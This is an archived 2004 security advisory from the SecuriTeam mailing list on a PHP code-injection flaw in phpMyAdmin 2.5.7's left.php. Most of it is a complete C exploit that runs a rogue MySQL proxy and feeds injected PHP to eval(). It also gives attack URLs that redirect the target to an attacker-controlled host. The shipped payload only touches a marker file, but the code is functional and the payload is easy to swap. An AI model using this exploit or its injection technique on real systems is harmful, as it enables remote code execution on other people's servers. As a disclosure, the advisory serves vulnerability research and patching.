[UNIX] phpMyAdmin PHP Code Injection (left.php)
From: SecuriTeam (support_at_securiteam.com)
Date: 07/01/04
- Previous message: SecuriTeam: "[NEWS] JS.Scob.Trojan Source Code Released"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 1 Jul 2004 17:33:58 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
phpMyAdmin PHP Code Injection (left.php)
------------------------------------------------------------------------
SUMMARY
<http://www.phpmyadmin.net/> phpMyAdmin is "web-based MySQL
administration written in PHP". A vulnerability in phpMyAdmin opens up the
possibility of PHP code injection under certain conditions.
DETAILS
Vulnerable Systems:
* phpMyAdmin version 2.5.7
Successful exploitation of the vulnerability would cause the eval()
function in the 'left.php' file to execute potentially malicious PHP code
that is injected. However, the vulnerability is only viable if the
$cfg['LeftFrameLight'] variable is set to FALSE in the 'config.inc.php'
file).
There are two vectors of attack an attacker can choose from. PhpMyAdmin
does not prevent a malicious user from altering the servers configuration
array located in the $cfg['Servers'][$i] array. This array contains
multiple server configurations set at installation time and each
configuration usually holds MySQL information such as host, port,
username, password, authentication method, database name etc. The default
setup installs three distinct configurations and this is reflected by the
size of the array.
However, uninitialized $cfg['Servers'][$i] allows a remote user to add
server configurations to the list of servers configuration by adding
entries to the $cfg['Servers'][$i] array. This is done using GET
parameters with an HTTP request. A malicious user could add a server
configuration in the following manner:
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=202.81.x.x &cfg[Servers][4][port]=8888&cfg[Servers][4][user]=alice
And so on and so forth. The script running will use the added fourth
server the user has created. Once a configuration is in place, the exploit
can take place if the $cfg['LeftFrameLight'] variable is set to FALSE.
What happens is that the following code gets executed:
$eval_string = '$tablestack[\'' . implode('\'][\'',
$_table) . '\']
[\'pma_name\'][] = \'' . str_replace('\'', '\\\'',
$table) . '\';';
eval($eval_string);
$eval_string will be php codes that executed by
function eval().
if we have one table named 'mytable', $eval_string
will have string value
$tablestack['']['pma_name'][] = 'mytable';
It can be seen that phpMyAdmin does not escape a single quote properly.
Therefore, with a supplied table name with metacharacters such as:
\';exec(\"touch /tmp/touchable\");/*
The resulting $eval_string variable would be:
$tablestack['']['pma_name'][] = '\\';exec("touch /tmp/touchable");/*';
In PHP it will interpret the string as three PHP commans and will execute
them. The second one can be PHP code that an attacker wishes to inject
into the running PHP script. The last one just prints out a warning
message.
Proof-of-Concept
Since MySQL does not allow meta-characters as table names, an attacker has
to provide a wrapper for the MySQL server. The wrapper acts as a kind of
proxy which will give out a table name with meta-characters when the
client performs "SHOW TABLES". Adding a new server configuration as shown
earlier can do this:
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=attacker.host.com &cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers][4]
[user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp& &cfg[Servers][4][only_db]=databasename
While at attacker.host.com, the MySQL wrapper will listen on port 8889
awaiting connections. The code for the wrapper is provided below:
/*
* phpmy-explt.c
* written by Nasir Simbolon <nasir@kecapi.com>
* http://eagle.kecapi.com
* Jakarta, Indonesia
*
* June, 10 2004
*
* A phpMyAdmin-2.5.7 exploite program.
* This is a kind of mysql server wrapper acts
like a proxy except that it will sends a fake table
name,
* when client query "SHOW TABLES", by replacing the
real table name with a string contains exploite
codes.
*
* Compile : gcc phpmy-explt.c -o phpmy-explt
*
* run with
* ./phpmy-explt
*
* and go to your target and put
*
*
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
[4][host]=attacker.host.com&cfg[Servers][4]
[port]=8889&cfg[Servers][4]
[auth_type]=config&cfg[Servers][4]
[user]=user&cfg[Servers][4]
[password]=pass&cfg[Servers][4]
[connect_type]=tcp&&cfg[Servers][4]
[only_db]=databasename
*
* fill host,port,user,pass and databasename
correctly
*
*/
#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>
#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"
#define BUFFER_LEN 1024
/* This is php code we want to inject into phpMyAdmin
Do NOT use single quote (') in the string, use
double quote (") instead
*/
char *phpcodes =
"exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";
/* This is examples codes I captured when mysql
server
reply to client's request of query "SHOW TABLES"
query.
It shows database name 'phpmy' and contain one
tablename 'mytable'
Our aim is to manipulate the data received from
mysql server
by replacing 'mytable' with our exploide codes.
0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
-2 ,8 ,0x0 ,0x0 ,0x4 ,7 ,'m' ,'y' ,'t' ,'a' ,
'b' ,'l' ,'e' ,0x1 ,0 ,0 ,0x5 ,-2
*/
int build_exploite_code(char* dbname,char*
phpcodes,char** expcode)
{
char my1[21] =
{0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_'};
/* part of dbname ('p' ,'h' ,'p' ,'m' ,'y') */
char my2[15] =
{0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,
0x1 ,0x0 ,0x0 ,0x3 ,-2};
/* part of int phpcodes string length +1 (8) */
char my3[3] = {0x0 ,0x0 ,0x4};
/* part of int phpcodes string length (7) */
/* part of tablename
('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
char my4[5] = {0x1 ,0 ,0 ,0x5 ,-2};
int len,i;
len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +
strlen(phpcodes) + 5 + 5;
*expcode = (char*) malloc(sizeof(char) * len);
i = 0;
bcopy(&my1[0],*expcode + i,21);
i += 21;
bcopy(dbname, *expcode + i,strlen(dbname));
i += strlen(dbname);
bcopy(&my2[0],*expcode + i,15);
i += 15;
(*expcode)[i] = 5 + strlen(phpcodes) + 1;
i ++;
bcopy(&my3[0],*expcode + i,3);
i += 3;
(*expcode)[i++] = 5 + strlen(phpcodes) ;
/* this is our exploite codes*/
(*expcode)[i++] = '\\';
(*expcode)[i++] = '\'';
(*expcode)[i++] = ';';
bcopy(phpcodes,*expcode + i,strlen(phpcodes));
i += strlen(phpcodes);
(*expcode)[i++] = '/';
(*expcode)[i++] = '*';
bcopy(&my4[0],*expcode + i,5);
return len;
}
/* connect to mysql server*/
int connect_mysql()
{
int s2;
struct sockaddr_in ina;
struct hostent *h;
h = gethostbyname(HOSTNAME);
/* set internet address */
bcopy(h->h_addr,(void
*)&ina.sin_addr,h->h_length);
ina.sin_family = AF_INET;
ina.sin_port = htons(MYSQL_PORT);
//ina.sin_zero[0]='\0';
if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");
if(connect(s2,(struct sockaddr
*)&ina,sizeof(ina)) < 0 )
perror("connect()");
return s2;
}
/* listener */
int listener()
{
int s1;
int opt;
struct sockaddr_in ina;
/* set internet address */
ina.sin_family = AF_INET;
ina.sin_port = htons(BIND_PORT);
ina.sin_addr.s_addr = INADDR_ANY;
if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");
opt = 1;
setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char
*)&opt, sizeof(opt) );
if(bind(s1,(struct sockaddr
*)&ina,sizeof(ina))==-1)
perror("Bind: ");
if(listen(s1, 10) == -1)
perror("Listen");
return s1;
}
int main(int argc,char* argv[])
{
struct sockaddr_in ina1;
int ina1_l;
int s_daemon,s_mysql;
size_t byte_read,byte_written;
char *buf;
int sc,event,n_select;
fd_set rfds;
struct timeval tv;
int exptlen,i;
char *expt;
char *dbname=DATABASE;
buf = (char*) malloc(sizeof(char) *
(BUFFER_LEN));
tv.tv_sec = 15;
tv.tv_usec = 0;
/* we listen to port */
s_daemon = listener();
exptlen =
build_exploite_code(dbname,phpcodes,&expt);
for(;;)
{
fprintf(stderr,"waiting for
connection\n");
if( -1 == (sc = accept(s_daemon,(struct
sockaddr *) &ina1,&ina1_l)) )
perror("accept()");
/* if we get here, we have a new
connection */
fprintf(stderr,"got client connection\n");
mysql:
/* connect to mysql */
s_mysql = connect_mysql();
for(;;)
{
FD_ZERO(&rfds);
FD_SET(sc,&rfds);
FD_SET(s_mysql,&rfds);
n_select = (sc > s_mysql)? sc :
s_mysql;
event =
select(n_select+1,&rfds,NULL,NULL,NULL);
if(-1 == event)
perror("select()");
else
{
if(FD_ISSET(s_mysql,&rfds))
{
byte_read =
read(s_mysql,buf,BUFFER_LEN);
/* check for closing client
connection*/
if(byte_read == 0)
{
shutdown(s_mysql,SHUT_RDWR);
close(s_mysql);
goto mysql;
}
/* check data received from
mysql server.
* if buf[11] contain 'T',
data received from mysq server is table list
*
* NOW we replace the table
with our exploite codes and send them to client
*/
if( 'T' == buf[11])
{
for(i=0;i<exptlen;i++)
buf[i] = expt[i];
byte_read = exptlen;
}
if(write(sc, buf, byte_read) < 0)
break;
}
if(FD_ISSET(sc,&rfds))
{
byte_read =
read(sc,buf,BUFFER_LEN);
/* check for closing client
connection*/
if(byte_read == 0)
{
close(sc);
break;
}
if(write(s_mysql,buf,byte_read) < 0)
break;
}
#if defined(DEBUG)
fprintf(stderr,"data:\n");
for(i=0;i<byte_read;i++)
fprint(stderr," %c(%x) ",buf[i],buf[i]);
#endif
}
}
}
free(buf);
free(expt);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:nasir@kecapi.com> Nasir
Simbolon.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] JS.Scob.Trojan Source Code Released"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|